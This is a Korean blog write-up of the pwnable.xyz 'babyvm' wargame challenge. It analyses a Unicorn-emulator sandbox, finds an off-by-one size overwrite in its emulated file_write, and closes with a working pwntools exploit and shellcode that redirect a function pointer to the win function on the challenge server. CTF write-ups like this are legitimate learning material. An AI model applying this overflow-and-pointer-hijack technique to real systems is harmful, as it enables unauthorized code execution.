Pwnstar

pwnable.xyz babyvm 본문

Wargame/pwnable.xyz

pwnable.xyz babyvm

포너블처돌이 2020. 12. 17. 10:03

라업을 보고 풀려고 했는데, 보고 풀땐 풀더라도 확실하게 이해를 하고 넘어가야할 문제같다.

코드분석부터 차근차근 해 보자. 함수를 검색해도 잘 나오지 않는다.

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t program_size; // [rsp+28h] [rbp-1018h]
  char program[4096]; // [rsp+30h] [rbp-1010h]
  unsigned __int64 v6; // [rsp+1038h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(program, 0, sizeof(program));
  setup();
  puts("Run the default program? (y/n)");
  if ( read_choice() == 'y' )
  {
    program_size = 255LL;
    memcpy(program, default_program, 0xFFuLL);
  }
  else
  {
    puts("Send your program");
    program_size = read_buffer(program, 0xFFFuLL);
  }
  puts("Running the vm");
  run_vm(program, program_size);
  return 0;
}

일단 메인함수의 구조는 꽤 간단하다. program변수를 4096만큼 memset으로 초기화를 시키고, setup함수를 호출한다. setup함수는 그리 중요하진 않으니 그냥 넘어가자.

이후 default program을 실행하겠냐는 문구를 출력하고 y를 입력하면 memcpy함수로 program변수에 default_program의 값을 0xff바이트만큼 복사한다.

만약 입력값이 y가 아니라면 read_buffer함수로 program변수에 0xfff만큼 입력을 받고 return값을 program_size변수에 넣는다.

조건문이 끝나면 run_vm함수의 인자로 program과 program_size를 넘겨주고 호출한다.

run_vm

void __cdecl run_vm(char *program, size_t program_size)
{
  __int64 v2; // rax
  uc_err_0 err; // [rsp+1Ch] [rbp-24h]
  uc_engine *uc; // [rsp+20h] [rbp-20h]
  uc_hook trace1; // [rsp+28h] [rbp-18h]
  int64_t rsp_0; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  rsp_0 = 0x7FFFFFFFE000LL;
  err = (unsigned int)uc_open(4LL, 8LL, &uc);
  if ( err
    || (uc_mem_map(uc, 0x400000LL, 0x10000LL, 7LL),
        uc_mem_map(uc, 0x7FFFFFFEF000LL, 0x10000LL, 7LL),
        (err = (unsigned int)uc_mem_write(uc, 0x400000LL, program, program_size)) != 0)
    || (uc_hook_add(uc, &trace1, 2LL, hook_syscall, 0LL, 1LL, 0LL, 699LL),
        uc_reg_write(uc, 44LL, &rsp_0),
        (err = (unsigned int)uc_emu_start(uc, 0x400000LL, program_size + 0x400000, 0LL, 0LL)) != 0) )
  {
    v2 = uc_strerror((unsigned int)err);
    printf("err (0x%x): %s\n", (unsigned int)err, v2);
    uc_close(uc);
    exit(-1);
  }
  uc_close(uc);
}

여기부터 멘붕이 씨게 왔음. 모르는 함수가 잔뜩 나온다 문제는 이 함수들은 검색해도 안나온다. c언어가 아닌가 싶기도 하다.

검색을 좀 하다보니 unicorn engine을 쓸 수 있게 하는 함수들인 것 같다.


https://github.com/unicorn-engine/unicorn

요 사이트에 간단한 설명이 적혀있는데 qemu에 기반을 둔 CPU emulator라고 한다.

함수들의 정의도 되어 있는데, 이 함수들을 전부 분석해야하나 하다가 모르겠다


우선 default_program 먼저 분석해보자.


read

   0x7ffdf5f4edd5:	mov    eax,0x0
   0x7ffdf5f4edda:	syscall 
   0x7ffdf5f4eddc:	ret

write

   0x7ffdf5f4eddd:	mov    eax,0x1
   0x7ffdf5f4ede2:	syscall 
   0x7ffdf5f4ede4:	ret

open

   0x7ffdf5f4ede5:	mov    eax,0x2
   0x7ffdf5f4edea:	syscall 
   0x7ffdf5f4edec:	ret

#1

	 0x7ffdf5f4ed20:	mov    rbp,rsp
   0x7ffdf5f4ed23:	sub    rsp,0x208
   0x7ffdf5f4ed2a:	mov    edi,0x1
   0x7ffdf5f4ed2f:	lea    rsi,[rip+0xb8]        # 0x7ffdf5f4edee
   0x7ffdf5f4ed36:	mov    edx,0x13
   0x7ffdf5f4ed3b:	call   0x7ffdf5f4eddd

what is yout name? 문자열을 출력해주는 부분이다.

#2

   0x7ffdf5f4ed40:	mov    edi,0x0
   0x7ffdf5f4ed45:	lea    rsi,[rbp-0x200]
   0x7ffdf5f4ed4c:	mov    edx,0x20
   0x7ffdf5f4ed51:	call   0x7ffdf5f4edd5

rbp-0x200의 위치에 0x20바이트만큼 입력받는 부분이다.

#3

   0x7ffdf5f4ed56:	mov    rcx,rax
   0x7ffdf5f4ed59:	mov    edi,0x1
   0x7ffdf5f4ed5e:	lea    rsi,[rip+0xa3]        # 0x7ffdf5f4ee08
   0x7ffdf5f4ed65:	mov    edx,0x3
   0x7ffdf5f4ed6a:	call   0x7ffdf5f4eddd

Hi 문자열을 출력해준다.

#4

   0x7ffdf5f4ed6f:	mov    edi,0x1
   0x7ffdf5f4ed74:	lea    rsi,[rbp-0x200]
   0x7ffdf5f4ed7b:	mov    rdx,rcx
   0x7ffdf5f4ed7e:	call   0x7ffdf5f4eddd

rbp-0x200에 있는 문자열(앞서 입력한)을 출력해줌

#5

   0x7ffdf5f4ed83:	lea    rdi,[rip+0x77]        # 0x7ffdf5f4ee01
   0x7ffdf5f4ed8a:	call   0x7ffdf5f4ede5

./flag 파일을 open한다

이때

syscall이 call되었을 때 rax의 값에 따라 호출되는 함수가 다른데, 0, 1, 2의 값 중 하나가 아니라면 에러를 뿜는다.

여기서 rax의 값은 0x2이 때문에 sys_open함수가 호출되는데,

조건문에 do_open 함수의 인자로 path가 들어간다 이때 path에 담겨 있는 값은 당연히 "./flag"

open_file의 값

만큼 반복문을 돌면서 files 전역변수의 path와 인자로 받은 path가 같아면 해당 files의 fd를 return해준다.

여기서 files의 구조체를 잠깐 살펴보자

#6

   0x7ffdf5f4ed8f:	mov    rdi,rax
   0x7ffdf5f4ed92:	lea    rsi,[rbp-0x200]
   0x7ffdf5f4ed99:	mov    edx,0x200
   0x7ffdf5f4ed9e:	call   0x7ffdf5f4edd5

open한 파일의 fd(0x2)를 인자로 이번엔 rbp-0x200의 위치에 0x200만큼 입력을 받는다. 여기서 입력을 받을 때에는 std_read가 아닌 위 사진에 나와있는 것처럼 file_read함수를 사용하게 된다.

해당 fd에 있는 content를 buffer변수에 입력한다.

#7

   0x7ffdf5f4eda3:	mov    rcx,rax
   0x7ffdf5f4eda6:	mov    edi,0x1
   0x7ffdf5f4edab:	lea    rsi,[rip+0x59]        # 0x7ffdf5f4ee0b
   0x7ffdf5f4edb2:	mov    edx,0x13
   0x7ffdf5f4edb7:	call   0x7ffdf5f4eddd

read의 반환값(입력된 값의 크기)을 rcx에 넣어준다.

Reading ./flag...라는 문자열을 출력해준다.

#8

   0x7ffdf5f4edbc:	mov    edi,0x1
   0x7ffdf5f4edc1:	lea    rsi,[rbp-0x200]
   0x7ffdf5f4edc8:	mov    rdx,rcx
   0x7ffdf5f4edcb:	call   0x7ffdf5f4eddd
   0x7ffdf5f4edd0:	call   0x7ffdf5f4eded

fd에 1의 값을 넣고, rbp-0x200에 담겨있는 값을 0x200만큼 출력해준다. 결국 여기서 출력되는 것은

files 전역 변수의 fd가 2인 값에 있는 content를 출력해주는 것인데,

content의 값은 this_is_not_the_flag이다. 그래서 실제 ./flag의 값이 아닌 이 값이 출력되는 것


Exploit

이제 익스 시나리오를 짜 보자.

program을 입력받을 수 있는 공간을 0x1000이나 준 이유가 있었다.

다시 한번 do_open함수를 보자

open_files에는 3이라는 숫자가 들어있다. 첫번째 반복문과 그 다음 나오는 조건문이 끝나면 files[3]의 주소를 file 변수에 넣는다. 그리고 path변수의 값을 file→path에 0x24바이트만큼 복사해주고, ops.fops_read에 file_read함수의 값을 ops.fops_write에 file_write함수의 값을 넣어준다.

이렇게 새로운 fd를 만들어주기 위해서 새로운 파일 이름으로 open함수를 호출해줄 것이다.

이제 이 fd(3)으로 read나 write의 syscall을 호출하면 file_read와 file_write함수로 호출하게 된다.

그리고 코드가 나오는 영역 밑에 "./test"라는 문자열을 넣어주자. 이 문자열을 포함해서 0x24바이트 이후에 content영역의 값을 써 줄 것이다. 이 영역의 크기는 0x200바이트이고, 이 다음 8바이트가 사이즈, 그 다음에 file_read와 file_write함수가 온다.

  1. ./test를 open
  1. fd를 3, rsi를 content로 만들어 놓은 0x200바이트짜리 dummy가 들어있는 주소, rdx로 0x200보다 큰 수를 인자로 file_write함수를 호출.

    여기서 취약점이 발생한다.

    size가 .0x200보다 크기 때문에 size는 0x200으로 설정되고, memcpy함수로 size보다 1 큰 수만큼 buffer에서 content로 옮겨담기 때문에 만약 content의 마지막 바이트가 0xff라면 사이즈는 0x200에서 0x2ff로 덮인다. 여기까지의 과정을 그림으로 표현하면 이렇게 된다.

  1. 사이즈를 0x2ff로 늘리면 file_read나 file_write의 주소까지 읽어오거나, 덮어쓸 수 있게 된다. 이렇게 해 놓은 상태에서 file_read함수를 호출하면 0x2ff만큼 읽어올 수 있는데, 이 크기를 저장할 수 있는 빈 공간을 확보해놓자.
  1. 읽어온 content + file_read+file_write의 값은 내가 확보해 놓은 빈 공간에 저장해 놓은 상태에서 그 주소 + 0x208을 하면 file_read함수의 주소를 가져올 수 있게 된다. 이 주소와 win함수 주소의 offset을 구해서 빼거나 더해준 후 syscall read를 하면 win함수가 호출된다.

ex.py

from pwn import*

context(arch='amd64',os="linux")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libunicorn.so.1")}

#p = process("./challenge", env=env)
p = remote("svc.pwnable.xyz", 30044)

#pie = p.libs()['/home/pwnstar/CTF_wargame/skagns/pwnable_xyz/babyvm/challenge']

#bp1 = pie + 0x00000000000016DF
script = '''
b*{}
'''#.format(hex(bp1))
#gdb.attach(p, script)

shellcode = '''
	lea r8,[rip+0x1f9]
	lea r9,[rip+0x21c]
	lea r10,[rip+0x42b]
    mov rbp,rsp
    sub rsp,0x208
    mov rdi,r8
    call sys_open
    mov rdi,3
    mov rsi,r9
    mov rdx,0x210
    call sys_write
    mov rdi,3
    mov rsi,r10
    call sys_read
	mov qword ptr [r9+0x200],0x210
	mov r12,qword ptr[r10+0x208]
	sub r12,0x172B
    add r12,0x1610
	mov qword ptr[r9+0x208],r12
	mov rsi,r9
    call sys_write
	call sys_read
sys_read:
    mov rax,0
    syscall
    ret
sys_write:
    mov rax,1
    syscall
    ret
sys_open:
    mov rax,2
    syscall 
    ret     
'''

shellcode = asm(shellcode)
shellcode = shellcode.ljust(0x200, "\x90")
payload = "./test" + "\x00" * 0x24 + "\xff"*0x201
payload = payload.ljust(0x600, "\x00")
shellcode = shellcode + payload
shellcode = shellcode.ljust(0x1000, "\x00")

p.sendlineafter("(y/n)\n", "n")

p.sendafter("program\n", shellcode)

p.interactive()

소스코드는 모든 아래 블로그들을 보고 참고하며 작성했다.


참고

https://wogh8732.tistory.com/240?category=754118

https://mineta.tistory.com/135?category=735547

https://rninche01.tistory.com/entry/Pwnablexyz-BabyVM


'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz fishing  (0) 2020.12.19
pwnable.xyz knum  (0) 2020.12.15
pwnable.xyz pve  (0) 2020.12.15
pwnable.xyz note v3  (0) 2020.12.14
Comments